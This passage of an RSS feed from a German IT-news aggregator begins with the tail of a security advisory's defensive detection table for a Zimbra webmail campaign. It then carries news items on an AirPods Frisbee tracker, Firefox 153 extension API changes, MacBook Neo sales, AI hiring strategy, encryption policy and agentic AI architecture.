<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[An AirPod-powered Frisbee tracker makes backyard throws scientific]]></title>
<description><![CDATA[A developer and Frisbee fan turned AirPods into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.AirPods 4Sharhan demonstrated Kinapod Disc on Reddit on July 20. The setup requires users to make a smal...]]></description>
<link>https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689282/ios-mac-os/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific/</guid>
<pubDate>Thu, 23 Jul 2026 16:08:59 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A developer and Frisbee fan turned <a href="https://appleinsider.com/inside/airpods" title="AirPods" data-kpt="1">AirPods</a> into a flying-disc stat tracker, using motion sensors to measure throws in a clever demonstration of what Apple's earbuds can do beyond playing audio.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68335-144037-AirPods-4-case-xl.jpg" alt="White wireless earbuds resting in an open charging case on a soft gray fabric surface, with the case lid tilted back and earbuds partially seated in their slots" height="738"><span>AirPods 4</span></div><br>Sharhan <a href="https://www.reddit.com/r/airpods/comments/1v22xgq/airpods_can_track_frisbee_throws/">demonstrated Kinapod Disc</a> on Reddit on July 20. The setup requires users to make a small hole in the center of a flying disc and insert one AirPod stem-first.<br><br>Once it's mounted, the AirPod sends motion data to an <a href="https://appleinsider.com/inside/iphone" title="iPhone" data-kpt="1">iPhone</a> while Kinapod Disc detects each throw and records spin rate, total revolutions, estimated release speed, and airborne time.<br><br>It's a fun albeit expensive solution to the problem of throwing a plastic disc without enough statistics. It's also a clever use of motion sensors Apple builds into AirPods.<br><br><br> <a href="https://appleinsider.com/articles/26/07/23/an-airpod-powered-frisbee-tracker-makes-backyard-throws-scientific?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/245036?urm_source=rss">Discuss on our Forums</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Mozilla Addons Blog: Firefox 153 WebExtensions API updates]]></title>
<description><![CDATA[We had a bumper release of WebExtensions API updates in Firefox 153. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: userScripts.execute() and the new publicSuffix API. We’re covering those con...]]></description>
<link>https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689274/tools/mozilla-addons-blog-firefox-153-webextensions-api-updates/</guid>
<pubDate>Thu, 23 Jul 2026 16:06:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>We had a bumper release of <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">WebExtensions API updates in Firefox 153</a>. To start, there is a permissions change that affects how your extensions access local files. We then have two contributions from the community members: <span>userScripts.execute()</span> and the new <span>publicSuffix</span> API. We’re covering those contributions in more depth, including the people behind them, in a separate post. And there is more, read on…</p>
<h3><b>File access now requires a dedicated permission</b></h3>
<p>Extensions that need to read <span>file://</span> URLs used to get that access as part of the “Access your data for all websites” host permission. Starting in Firefox 153, file access is a separate, explicit permission, “Access local files on your computer”, shown in the extension’s permissions settings. It’s off by default for every extension, including ones already installed.</p>
<p>This change has a few concrete effects on code:</p>
<ul>
<li><b>Before:</b> an extension with <span>&lt;all_urls&gt;</span> or a matching host permission could read <span>file://</span> pages without any additional grant, and <span>extension.isAllowedFileSchemeAccess()</span> always returned <span>false</span> regardless of the permission setting.</li>
<li><b>After:</b> the extension must have the new file-access permission granted, and <span>extension.isAllowedFileSchemeAccess()</span> correctly reflects whether the user has granted it.</li>
</ul>
<pre>async function checkFileSchemeAccess() {
  const isAllowed = await browser.extension.isAllowedFileSchemeAccess();

  if (!isAllowed) {
    await browser.notifications.create("file-scheme-access-needed", {
      type: "basic",
      iconUrl: browser.runtime.getURL("icons/icon-48.png"),
      title: "Local file access required",
      message:
        'This extension needs "Allow access to file URLs" enabled to work ' +
        "with local files. Go to about:addons → select this extension → " +
        "turn on that setting, then reload the page.",
    });
    return false;
  }

  return true;
}</pre>
<p><span>devtools.inspectedWindow.eval()</span> calls targeting <span>file://</span> URLs are affected the same way; they now require this permission to succeed.</p>
<p>If your extension depends on <span>file://</span> access, expect existing users to see that access stops after upgrading (until they enable the permission), and consider adding a prompt or fallback path, for example by specifying an embedded options page (<span>options_ui</span>) and calling <span>browser.runtime.openOptionsPage()</span> to open <span>about:addons</span> and including instructions to toggle the setting in the “Permissions and data” tab.</p>
<h3><b>userScripts.execute() and publicSuffix: covered in our next post</b></h3>
<p>Firefox 153 adds two community-contributed APIs:</p>
<ul>
<li><span>userScripts.execute()</span>, which provides for one-off injection of one or more user script sources into a tab or frame, in a defined order, as a complement to the persistent, URL-pattern-based <span>userScripts.register()</span>.</li>
<li><span>publicSuffix</span>, which enables synchronous lookups against the browser’s built-in <a href="https://publicsuffix.org/">Public Suffix List</a> using <span>publicSuffix.isKnownSuffix()</span>, <span>publicSuffix.getKnownSuffix()</span>, and <span>publicSuffix.getDomain()</span>. This API means that extensions no longer need to bundle or maintain a suffix list to determine a hostname’s registrable domain (eTLD+1).</li>
</ul>
<p>Both APIs were built by contributors motivated by real needs in their extensions. We take an in-depth look at these contributions, their developers, impact, and history in a forthcoming post.</p>
<h3><b>documentId support across more APIs</b></h3>
<p>Firefox 153 introduces <span>documentId</span>, a stable identifier for a document instance, including a new <span>runtime.getDocumentId()</span> method, several <span>webNavigation</span> events and methods, <span>webRequest</span> events, scripting injection targets, and the extension messaging APIs.</p>
<p>Many WebExtension APIs use <span>tabId</span> and <span>frameId</span> to identify where to perform an operation. However, because <span>frameId</span> identifies the frame rather than its content, the loaded document can change and the extension’s subsequent operation ends up targeting the new (intended) document. <span>documentId</span> addresses this problem by providing a unique ID for the document. Now, if an extension uses the ID and the frame’s document has changed, the operation fails rather than silently targeting the wrong document.</p>
<p>See <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Work_with_documentId">Work with documentId</a> for the full list of supported events and methods, along with guidance on using it.</p>
<h3><b>Content scripts can read and modify adopted stylesheets</b></h3>
<p>Content scripts can now access <span>document.adoptedStyleSheets</span> and <span>ShadowRoot.adoptedStyleSheets</span> directly.</p>
<pre>const sheet = new CSSStyleSheet();
sheet.replaceSync("* { background: pink; }");
document.adoptedStyleSheets = [sheet];</pre>
<p>This enables extensions to inspect or modify constructed stylesheets from a content script, without using <span>.wrappedJSObject</span>, a workaround that risks interference from the web page.</p>
<h3><b>Theme manifest key: gradients in additional backgrounds</b></h3>
<p>The <span>theme</span> manifest key’s <span>images.additional_backgrounds</span> property now accepts CSS gradients alongside image URLs. A new <span>properties.additional_backgrounds_size</span> property controls the size of each additional background item.</p>
<h3><b>Contextual identities (containers)</b></h3>
<p>If your extension supports contextual identities, you now have access to two new methods: <span>contextualIdentities.getSupportedColors()</span> and <span>contextualIdentities.getSupportedIcons()</span>. These methods return the supported colors and icons, so your extension doesn’t need to hardcode either list.</p>
<p>Also, the colors have been updated to align with the new UI theme: <span>“turquoise”</span> is now <span>“cyan”</span>, <span>“toolbar”</span> is now <span>“gray”</span>, and <span>“violet”</span> has been added. The old names still work for backward compatibility, but your extension should switch to using <span>getSupportedColors()</span> rather than hardcoding either the old or new names.</p>
<h3><b>Add a build-for-amo script</b></h3>
<p>While this isn’t about new APIs, I wanted to mention a change that’s part of our work to make source code review faster and more reliable. When you submit an extension version, AMO now attempts to build your extensions from the submitted source code and compares the result to the package you uploaded. When the two match, reviewers don’t have to verify the build manually. This means submission can move through its review faster.</p>
<p>For now, this applies only if you submit source code that includes a <span>package.json</span> file to build your extension. If your extension has no build step, or you use a different build system, nothing changes. The AMO builder keeps its zero-config approach.</p>
<p>So, if your extension’s source code uses a <span>package.json</span> file, add an <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">npm script</a> named <span>build-for-amo</span> that runs the commands needed to build your extension for Firefox:</p>
<pre>{
  "scripts": {
    "fx-build": "some commands to build your add-on for Firefox",
    "build-for-amo": "npm run fx-build"
  }
}</pre>
<p>If you’ve a Firefox-specific build command, just point <span>build-for-amo</span> at it. When present, the builder invokes this script instead of guessing how to build your extension. And while you are at it, make sure all your dev dependencies are listed in the <span>package.json</span> file.</p>
<hr>
<p>For more information, including documentation and Bugzilla links, see the <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox/Releases/153#changes_for_add-on_developers">Changes for add-on developers</a> section of the Firefox 153 for developers release notes on MDN.</p>
<p>As always, file extension-related issues on <a href="https://bugzilla.mozilla.org/">Bugzilla</a> under the WebExtensions product, cross-browser API proposals are discussed in the <a href="https://github.com/w3c/webextensions">W3C WebExtensions Community Group</a>, and questions are welcome on the <a href="https://discourse.mozilla.org/c/add-ons/35">Add-ons Discourse</a>.</p>
<p> </p>
<p>The post <a href="https://blog.mozilla.org/addons/2026/07/23/firefox-153-webextensions-api-updates/">Firefox 153 WebExtensions API updates</a> appeared first on <a href="https://blog.mozilla.org/addons">Mozilla Add-ons Community Blog</a>.</p>]]></content:encoded>
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<title><![CDATA[MacBook Neo’s success wasn’t luck, it was a plan]]></title>
<description><![CDATA[It’s difficult to ignore the fact that Apple seems to have turned its MacBook Neo into a weapon to promote platform growth, with enough performance under the hood to make competitors seem inferior.



And even as the PC industry moves to try to compete with Apple’s last huge Mac success, the comp...]]></description>
<link>https://tsecurity.de/de/3689195/ai-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689195/ai-nachrichten/macbook-neos-success-wasnt-luck-it-was-a-plan/</guid>
<pubDate>Thu, 23 Jul 2026 15:22:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">It’s difficult to ignore the fact that Apple seems to have <a href="https://www.computerworld.com/article/4180406/after-a-quick-1-1m-sales-macbook-neo-set-to-reshape-the-pc-industry.html">turned its MacBook Neo into a weapon</a> to promote platform growth, with enough performance under the hood to make competitors seem inferior.</p>



<p class="wp-block-paragraph">And even as the PC industry moves to try to compete with Apple’s last <a href="https://www.applemust.com/macbook-neo-continues-to-top-amazon-laptop-charts-in-us-uk/" target="_blank" rel="noreferrer noopener">huge Mac success</a>, the company is already planning a powerful follow-up.</p>



<p class="wp-block-paragraph">That points to the discipline Apple has applied to the Mac since the introduction of Apple Silicon. The company has built a clear product roadmap, strong entry-level pricing, and steady performance gains. This focus is now paying dividends, giving people the impetus to keep placing their trust in Apple and its Macs — even as the industry raises prices in the face of RAMageddon and price increases. </p>



<h2 class="wp-block-heading"><strong>The numbers don’t lie</strong></h2>



<p class="wp-block-paragraph">“Apple’s recent price increase seems to be an inevitable response to these cost increases. In the second half of the year, other PC OEMs are expected to continue to raise prices, and the overall ASP increase is expected to continue,” Counterpoint said. The researcher tells us global PC shipments shrank 4% in the second quarter of 2026 as rising costs hit demand. The Mac maker, by contrast, moved in the opposite direction, generating 13% growth in the quarter — mainly on the back of the MacBook Neo introduction. </p>



<p class="wp-block-paragraph"><a href="https://www.idc.com/resource-center/press-releases/2q26-pc-top5/" target="_blank">Recent IDC data</a> gives Apple 10.1% year-over-year growth and just under 10% (9.9% to be exact) of the worldwide PC market, even as the overall market declined 4.9%.</p>



<p class="wp-block-paragraph">“With emerging supply chain and tariff challenges inflating memory prices…, Apple’s incredibly aggressive price-point for the MacBook Neo makes its release feel all the more like a gut punch to one of the PC market’s most valuable price tiers,” Futurum Research Director <a href="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html" data-type="link" data-id="https://www.computerworld.com/article/4143010/apples-macbook-neo-first-reviews-and-analyst-reactions.html">Olivier Blanchard said when the Neo was released</a>. </p>



<h2 class="wp-block-heading"><strong>Neo 2.0 is already coming</strong></h2>



<p class="wp-block-paragraph">In the immediate future, as competitors raise prices on the PCs that compete with Apple’s lower-cost device, Cupertino is <a href="https://www.culpium.com/p/apple-in-talks-to-boost-mac-neo-production" target="_blank" rel="noreferrer noopener">already plotting</a> the path toward <a href="https://www.bloomberg.com/news/articles/2026-07-22/apple-to-launch-new-macbook-air-imac-macbook-pro-neo-mac-mini-mac-studio" target="_blank" rel="noreferrer noopener">MacBook Neo 2.</a> Reports claim this will debut in March in new colors and use the A19 Pro chip from the iPhone 17 Pro, with performance boosted by slightly more unified memory (12GB, rather than 8GB). That’ll make it a much better Mac, likely with 10-15% performance gains and the ability to run Apple Intelligence, making it the best and most affordable AI PC in its class.</p>



<p class="wp-block-paragraph">Just four months after the Neo’s rollout, Apple is already in position to leak rumors of an even more computationally capable follow-up, while competitors struggle to compete with the original on performance, build quality, and price. Still, the Neo might get more expensive, reporting warns, with the lowest-price 256GB model now gone, making the $599 Mac a mirage we can only wistfully hope to see again. </p>



<p class="wp-block-paragraph">That might matter less in context, as PC makers everywhere boost prices while RAM, chips, and storage prices head north, along with transport, logistics, and energy costs. “While [Apple] did raise prices in line with the broader market, it still remains well positioned against rivals facing the same cost pressures,” said Jean Philippe Bouchard, vice president for consumer devices at IDC. </p>



<p class="wp-block-paragraph">“As market conditions continue to worsen, the importance of supply chain management and capabilities are increasingly important,” Bouchard said. “The largest vendors, with their buying power and long-standing supplier ties, are best positioned to take share from smaller rivals.”</p>



<h2 class="wp-block-heading"><strong>This was never about luck</strong></h2>



<p class="wp-block-paragraph">This isn’t solely a market take about competition, it’s about planning.</p>



<p class="wp-block-paragraph">Few in the industry seemed prepared for the massive memory price increases that hit this year. Apple clearly planned its low-cost Mac well before that happened, hoping to seize the PC market at the low-mid-range. This is precisely what it seems to have done, what it continues to do, and what it will continue to do.</p>



<p class="wp-block-paragraph">The recent reports that it has a successor planned shows the breadth of the Mac company’s strategic vision, as Apple has quite clearly sought to fully exploit the failings of Windows and the internal contradictions of a value-conscious industry in stiff competition with itself.</p>



<p class="wp-block-paragraph">With the first M-series Macs about to enter the replacement cycle, Apple has built a market it can capitalize on for at least a decade, meaning it already has a vision for PC sales that extends at least as far. That’s the kind of road map corporate purchasers want when they make platform deployment decisions, which is why Apple’s 10% share gains are the beginning of <a href="https://www.computerworld.com/article/4150717/hexnode-ceo-macbook-neo-forces-it-to-rethink-its-budget-laptop-strategy.html">even more significant market change</a>. </p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to my daily Apple-related news summaries at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[How to navigate the AI talent wars]]></title>
<description><![CDATA[Cloudflare recently beat Q1 2026 earnings. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”



...]]></description>
<link>https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689121/it-nachrichten/how-to-navigate-the-ai-talent-wars/</guid>
<pubDate>Thu, 23 Jul 2026 15:06:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/cloudflare-net-q1-earnings-revenues-230528107.html">Cloudflare recently beat Q1 2026 earnings</a>. Revenue up 34% year over year. EPS ahead of consensus. Full-year guidance raised. Then, in the same breath, they announced 1,100 layoffs, 20% of the company. CEO Matthew Prince’s explanation: “The way we work at Cloudflare has fundamentally changed.”</p>



<p class="wp-block-paragraph"><a href="https://finance.yahoo.com/markets/stocks/articles/block-q1-earnings-beat-strong-144200216.html">Block did the same thing</a>. Beat guidance, raised outlook, cut 4,000+ jobs. Both framed it as architecting for the AI era.</p>



<p class="wp-block-paragraph">This is not a contradiction. This is the new math boards are running. And if you’re a CIO who hasn’t started running it yourself, <a href="mailto:https://www.cio.com/article/4077996/cios-be-ready-for-agentic-ai-or-be-out-of-a-job.html">you’re behind</a>.</p>



<h2 class="wp-block-heading">The benchmark has moved</h2>



<p class="wp-block-paragraph">AI-native companies have quietly reset what “efficient” means for a technology organization. Midjourney generates over $500M in revenue with roughly 160 employees, over $3M per head. Anthropic hit a $14B annualized run rate in early 2026 with fewer than 3,000 employees. Across the top AI-native startups, <a href="mailto:https://www.forbes.com/sites/paulbaier/2026/03/31/ai-native-firms-lead-in-revenue-per-employee/">the average revenue per employee is $3.48M</a>, nearly twelve times the traditional SaaS benchmark of $300K.</p>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/what-to-do-if-your-business-decelerates/">Boards aren’t comparing you to your 2019 self anymore</a>. They’re comparing you to Anthropic.</p>



<p class="wp-block-paragraph">This is the pressure Cloudflare and Block are responding to. They’re not cutting people because the business is struggling. They’re cutting because investors have internalized a new denominator. Headcount is no longer a proxy for capacity; it’s a liability on the efficiency ratio.</p>



<p class="wp-block-paragraph">For CIOs, this creates a hiring problem that looks nothing like the cloud or mobile talent gaps of the past decade. Those gaps were about volume: hire 100 cloud engineers, absorb the cost, build the capability… This one is about density; you’re not looking for 100 people. You’re looking for 10 who can deliver what 100 couldn’t, and justify $1M or more in value per seat.</p>



<p class="wp-block-paragraph">Finding bodies to fill seats has never been easier. Finding people who operate at that level of leverage is a different problem entirely.</p>



<h2 class="wp-block-heading">‘Acqui-hires’ are a shortcut with a hidden cost</h2>



<p class="wp-block-paragraph">Companies have figured out that recruiting AI-native talent one by one is too slow and that it’s faster to buy a team. Google’s acquisition of the Windsurf founders, Meta bringing in the Scale AI team, Accenture’s string of AI-focused acquisitions: <a href="mailto:https://tomtunguz.com/ai-acqui-hire-wave/">these are acqui-hires</a> dressed up as M&amp;A. The premium on experienced AI talent is high enough, and the urgency real enough, that organizations are skipping traditional hiring loops entirely and buying their way in.</p>



<p class="wp-block-paragraph">I’ve been on the other side of this. My company, MadKudu, was acquired by HG Insights specifically to bring AI-native capability into an established enterprise business. HG needed change agents who had already figured out how to build and ship in this new era, not just people who’d read about it. That’s the thesis behind most of these deals.</p>



<p class="wp-block-paragraph">But there’s a cost that doesn’t show up in the acquisition price.</p>



<p class="wp-block-paragraph">AI-native teams are fast because they operate with a different set of defaults: full access to tools, minimal governance layers, the ability to experiment and ship without a six-week approval cycle. That operating model is not a perk; it’s the fundamental mechanism. It’s why a team of 10 can do what an enterprise team of 100 can’t.</p>



<p class="wp-block-paragraph">When you acqui-hire that team and then slot them into your existing approval processes, you’ve bought the people and killed the engine. The change agents you paid for become change-frustrated. The attrition that follows is expensive and predictable.</p>



<p class="wp-block-paragraph">The harder realization: acquiring an AI-native team means accepting how they work. That requires deliberately carving out space for them to operate differently, not just tolerating it but institutionalizing it. The acquisition is an organizational change program, not just a hiring event.</p>



<h2 class="wp-block-heading">The CIO’s real problem</h2>



<p class="wp-block-paragraph">The governance stack most enterprise organizations run was designed for a headcount world. Every tool vetting cycle, every vendor review, every security approval was calibrated assuming you were managing a large team where consistency and control were the primary objectives.</p>



<p class="wp-block-paragraph">That calculus breaks when your goal is talent density. The same approval processes that protect against data leaks are now the reason your best people can’t do their best work. When it takes six weeks to approve a tool that your competitor’s team is already shipping with, you’ve traded velocity for the perception of safety.</p>



<p class="wp-block-paragraph">The practical fix is structured experimentation: clear guardrails, defined boundaries, but explicit permission to try tools before deciding whether to roll them out broadly. Gating everything prevents you from ever discovering what 10x productivity looks like.</p>



<p class="wp-block-paragraph">The skills inventory question is also more nuanced than it sounds. Job titles won’t tell you where the leverage is. You need to map the actual tasks within each function and assess which can be automated or augmented with AI. That’s where you find the people who, with the right tools, become your $1M/employee talent, not because you hired differently, but because you enabled better.</p>



<p class="wp-block-paragraph">This is also where the build-versus-buy question gets genuinely tricky. As AI reshapes how products are built and delivered, your internal operating model — how you work, how fast you ship, how you use data — is becoming core IP. Outsourcing delivery means outsourcing the part of the organization where your competitive advantage is now being built.</p>



<h2 class="wp-block-heading">Closing the gap without slowing down</h2>



<p class="wp-block-paragraph"><a href="mailto:https://www.saastr.com/the-great-ai-talent-grab-the-latest-20vc-with-jason-harry-and-rory/">The AI talent wars</a> are not primarily a recruiting problem. They’re a rethinking of what organizations are supposed to look like.</p>



<p class="wp-block-paragraph">Boards have a new benchmark. Cloudflare, Block, Amazon, Meta and others have already started restructuring to meet it, publicly, painfully, even while beating their numbers. The question for CIOs isn’t whether this pressure arrives; it’s whether you’re ahead of it or behind it when it does.</p>



<p class="wp-block-paragraph">The organizations that navigate this well won’t win by outbidding competitors for a handful of elite engineers. They’ll win by designing operating systems that amplify the leverage of the talent they do have, by enabling their best people rather than constraining them, and by treating AI fluency as a core organizational capability rather than a niche specialization.</p>



<p class="wp-block-paragraph">Talent density is the new headcount model. The sooner your governance, your tooling and your board conversations reflect that, the better positioned you’ll be when the next efficiency report lands.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



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<title><![CDATA[How AI helps scientists design the next generation of medicines]]></title>
<description><![CDATA[Designing and developing a new medicine is an expensive, failure-prone scientific challenge. A new drug can take many years to develop, at the cost of a significant investment. And even then, most possible candidates never reach the patient. For biologic medicines, therapies made from engineered ...]]></description>
<link>https://tsecurity.de/de/3688977/ai-nachrichten/how-ai-helps-scientists-design-the-next-generation-of-medicines/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688977/ai-nachrichten/how-ai-helps-scientists-design-the-next-generation-of-medicines/</guid>
<pubDate>Thu, 23 Jul 2026 14:06:23 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Designing and developing a new medicine is an expensive, failure-prone scientific challenge. A new drug can take many years to develop, at the cost of a significant investment. And even then, most possible candidates never reach the patient. For biologic medicines, therapies made from engineered proteins rather than synthetic chemistry (which are often used to…]]></content:encoded>
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<title><![CDATA[End-to-End Encryption and “Going Dark”]]></title>
<description><![CDATA[New paper: “Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate“:
Abstract: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the curr...]]></description>
<link>https://tsecurity.de/de/3688832/it-security-nachrichten/end-to-end-encryption-and-going-dark/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688832/it-security-nachrichten/end-to-end-encryption-and-going-dark/</guid>
<pubDate>Thu, 23 Jul 2026 13:15:16 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>New paper: “<a href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=6959699">Encryption and Globalization 15 Years Later: End-to-End Encryption and the Third Round of the ‘Going Dark’ Debate</a>“:</p>
<blockquote><p><b>Abstract</b>: This Article updates and expands on 2012 research on encryption and globalization, analyzing what the authors call “Round 3” of the Going Dark Debate: the current controversies over end-to-end encryption (E2EE). Governments around the world have proposed, and in some cases enacted, laws limiting E2EE for law enforcement and national security purposes.</p>
<p>This Article explains the underlying technologies and market developments for a law and policy audience to assess those proposals critically. The Article proceeds in three parts tracking three rounds of the Going Dark Debate. Round 1 covers the Crypto Wars of the 1990s, when U.S. export controls on strong encryption ultimately fell in 1999. Round 2 covers the period roughly 2010 to 2015, when encryption-in-transit became widespread but lawful access remained available through cloud providers, giving rise to what the authors called a “golden age of surveillance” rather than a period of going dark. Round 3 addresses the current debate over E2EE, where no entity between sender and recipient can read the plaintext...</p></blockquote>]]></content:encoded>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688632/it-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:43 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



